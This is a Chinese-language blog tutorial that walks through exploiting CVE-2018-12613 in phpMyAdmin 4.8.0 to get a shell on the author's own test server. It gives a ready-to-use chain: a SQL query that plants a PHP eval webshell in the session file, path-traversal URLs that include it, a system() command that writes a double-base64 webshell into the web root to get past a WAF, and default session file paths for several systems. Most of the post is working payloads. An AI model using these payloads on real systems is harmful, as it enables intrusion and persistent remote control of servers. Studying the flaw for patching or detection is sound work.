特殊型版本 phpMyadmin Getshell (CVE-2018-12613)

 特殊型版本 phpMyadmin Getshell (CVE-2018-12613)


作者 :  Noth

前言 :  

上一篇和各位小夥伴分享的是 phpMyadmin 常規方式拿shell,這一篇比較不太一樣 xD  最主要是利用 LFI to RCE(CVE-2018-12613) 的方式進行 Getshell ,讓筆者直接實戰一次給各位小夥伴看 ! 

實作環境 : 

Ububtu(Google GCP) + Xampp + phpmyadmin 4.8.0  

實戰流程 : 

利用 seesion 文件創建 shell 

執行 SQL 語句 (此時查詢的一句話會保留 Session 中) :

SELECT "<?php @eval($_GET['noth']);?>"


Server 端的 Session 中的確保留我們所查詢的一句話 : 


成功執行 phpinfo : 

http://xx.xx.xx.xx/phpmyadmin/index.php?noth=phpinfo();&target=db_datadict.php%253f/../../../../../../../../opt/lampp/temp/sess_{session}


透過 phpinfo.php 知道網頁絕對路徑,寫一句話到根目錄底下 :

http://xx.xx.xx.xx/phpmyadmin/index.php?noth=system('echo UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkdWIzUm9KMTBwT3o4Kw== | base64 -d | base64 -d > /opt/lampp/htdocs/noth.php');&target=db_sql.php%3f/../../../../../../../../opt/lampp/temp/sess_{Session}

當然在這邊各位小夥伴們一定會有點萌逼 xD 

UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkdWIzUm9KMTBwT3o4Kw==

這到底是在寫甚麼,不急 xD  這是我直接 base64encode 兩次的結果,因為筆者有嘗試過直接寫一句話不加密的話,可能 Server 端有 Waf  會進行流量檢測,導致寫不進去到根目錄下,然後 base64decode 兩次輸出到根目錄下 ! 於是成功 :D  其實還有很重要的一點是利用 php 危險函式 system() 這個 function ! 之後直接拿個蟻劍接 Webshell 


成功連接 :


這邊有點小小的陷阱,每個系統存放的 Session 位置都不一樣,所以要先去判斷 Session 的位置,這邊有我在網路上查到的一些系統默認路徑 : 


MacOS:

/var/tmp

Windows : 

tmp/sess_{id}

Linux : 

/var/lib/php/sessions/sess_{id}
/tmp/sess_{id}

phpStudy : 

/phpstudy/PHPTutorial/tmp/tmp


Reference : 

https://www.cnblogs.com/wjrblogs/p/13453359.html

https://zeroday.hitcon.org/vulnerability/ZD-2018-01485

https://blog.csdn.net/qq_34444097/article/details/85264686

留言

熱門文章